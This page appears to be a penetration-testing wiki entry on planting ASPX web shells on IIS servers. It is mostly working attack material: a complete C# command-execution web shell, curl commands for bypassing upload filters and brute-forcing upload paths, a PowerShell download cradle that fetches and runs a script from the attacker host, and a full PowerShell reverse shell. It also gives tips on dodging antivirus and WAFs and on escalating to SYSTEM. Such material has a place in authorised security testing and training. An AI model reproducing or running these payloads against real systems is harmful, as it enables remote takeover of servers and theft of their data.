Skip to content

IIS ASPX Web Shell Upload

6 min read Created Mar 30, 2026 Last updated Aug 11, 2026

ASPX web shells execute in the context of the IIS application pool identity: typically IIS APPPOOL\DefaultAppPool or a named service account. Getting an ASPX file into a web-accessible path and triggering its execution provides the initial foothold on the Windows host. This page covers shell delivery via WebDAV, file upload endpoints, and extension bypass techniques. WebDAV upload is covered in IIS WebDAV exploitation.

The app pool identity is a low-privileged account by default. It often holds SeImpersonatePrivilege, which enables Potato-family privilege escalation. Run whoami /priv once you have execution to confirm available privileges. Named service accounts configured on the app pool may have broader filesystem or domain access. Confirm the actual identity before making assumptions about scope.

Shell delivery methods for IIS:

  • WebDAV PUT upload (see IIS WebDAV exploitation)

  • Application file upload endpoint with extension bypass

  • PUT then MOVE rename from .txt to .aspx

ASPX execution requires the .aspx handler to be registered in IIS. If the handler mapping is missing, IIS serves the raw file instead of executing it. A 200 response that echoes your shell source confirms the file was served but not run.

Minimal ASPX Web Shell

The simplest C# ASPX shell that executes commands via the cmd parameter:

This shell reads from the cmd query parameter and pipes the value through cmd.exe. Only stdout is captured. Stderr is not redirected, so failed commands return blank output. The file must land in a web-accessible directory where IIS maps .aspx to the ASP.NET runtime. Windows Defender flags this exact shell by signature. If the request returns 200 with no output, check whether AV removed the file or the handler is not configured. Use curl -vsk and look for a non-empty response body to confirm execution.

<%@ Page Language="C#" %>
<%
if(Request["cmd"] != null) {
    var proc = new System.Diagnostics.Process();
    proc.StartInfo.FileName = "cmd.exe";
    proc.StartInfo.Arguments = "/c " + Request["cmd"];
    proc.StartInfo.UseShellExecute = false;
    proc.StartInfo.RedirectStandardOutput = true;
    proc.Start();
    Response.Write(proc.StandardOutput.ReadToEnd());
}
%>
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/shell.aspx?cmd=whoami"
iis apppool\defaultapppool

File Upload Extension Bypass

When a file upload endpoint validates by extension, test these bypass techniques in order. A 200 or 201 response means the server accepted the file. Acceptance does not confirm execution. You still need to locate the upload path and trigger the file over HTTP. Also test changing the Content-Type header to image/jpeg while keeping the .aspx extension. Some endpoints validate MIME type server-side but not the filename extension. If the server renames uploaded files on save, your bypass extension may not persist. Check the actual filename from the response before attempting execution.

┌──(kali㉿kali)-[~]
└─$ # Double extension bypass
┌──(kali㉿kali)-[~]
└─$ curl -sk -F 'file=@shell.aspx;filename=shell.aspx.jpg' http://$TARGET_IP/upload.aspx -v 2>&1 | grep -iE 'location|path|200|201'
┌──(kali㉿kali)-[~]
└─$ # Null byte bypass
┌──(kali㉿kali)-[~]
└─$ curl -sk -F 'file=@shell.aspx;filename=shell.aspx%00.jpg' http://$TARGET_IP/upload.aspx -v 2>&1 | grep -iE 'location|path|200|201'
┌──(kali㉿kali)-[~]
└─$ # Alternate ASP.NET extensions
┌──(kali㉿kali)-[~]
└─$ for ext in aspx asp ashx asmx axd cshtml; do
code=$(curl -sk -F "file=@shell.aspx;filename=shell.$ext" http://$TARGET_IP/upload.aspx -o /dev/null -w '%{http_code}');
echo "$code shell.$ext";
done
200 shell.aspx
200 shell.ashx
403 shell.asp

Locate the Upload Path

After a successful upload, find where the file was stored. The Location response header is the most direct indicator. Some applications return the path in the response body as an href or JSON field. Grep the full verbose output for path, href, src, and url strings. If nothing reveals the location, brute-force common upload directories with HEAD requests. A 200 on a HEAD request to a guessed path confirms the file is present. Watch for applications that randomize filenames on save. A randomized filename defeats execution even if the upload succeeded.

┌──(kali㉿kali)-[~]
└─$ curl -sk -F 'file=@shell.aspx' http://$TARGET_IP/upload.aspx -v 2>&1 | grep -iE 'location|href|src|path|url'
Location: /uploads/shell.aspx
┌──(kali㉿kali)-[~]
└─$ for path in uploads upload files images content media tmp UserFiles; do code=$(curl -skI http://$TARGET_IP/$path/shell.aspx | grep HTTP | awk '{print $2}'); echo "$code /$path/shell.aspx"; done
200 /uploads/shell.aspx
404 /upload/shell.aspx

Get a Reverse Shell

Set up the listener and deliver a PowerShell reverse shell through the ASPX web shell. URL-encode the command. Start the listener before sending the curl request. The curl command will hang while the shell is active. If the connection drops immediately, Defender likely killed the PowerShell process. The base64 payload must be UTF-16LE encoded, which the iconv -t UTF-16LE command handles. Encoded commands bypass some basic script block logging but do not evade AMSI.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, prints connection status messages.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Variable placeholder for the local port number to bind.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/uploads/shell.aspx" --get --data-urlencode "cmd=powershell -e $(echo -n "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')" | iconv -t UTF-16LE | base64 -w0)"

Alternatively, use a direct PowerShell reverse shell without a hosted file. This avoids the outbound HTTP request from the target to your attacker machine. Use this when outbound HTTP from the target is restricted. The entire payload travels in the URL query string. IIS limits URLs to 4096 bytes by default. Very long payloads may get silently truncated. Use a POST request with the command in the request body if the GET approach fails.

┌──(kali㉿kali)-[~]
└─$ PAYLOAD=$(echo -n "\$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" | iconv -t UTF-16LE | base64 -w0)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/uploads/shell.aspx" --get --data-urlencode "cmd=powershell -enc $PAYLOAD"

When this technique fails, confirm write access to the upload directory first. The app pool identity must have write permission. If uploads return 200 but the file does not execute, the app may save outside the web root. WAFs commonly inspect file content on upload and block ASPX regardless of extension tricks. Try obfuscating the shell by splitting string literals or renaming variables. The .ashx and .asmx extensions also map to the ASP.NET runtime and may bypass extension filters. A shell running as IIS APPPOOL\DefaultAppPool with SeImpersonatePrivilege is a direct path to SYSTEM using PrintSpoofer or GodPotato.

References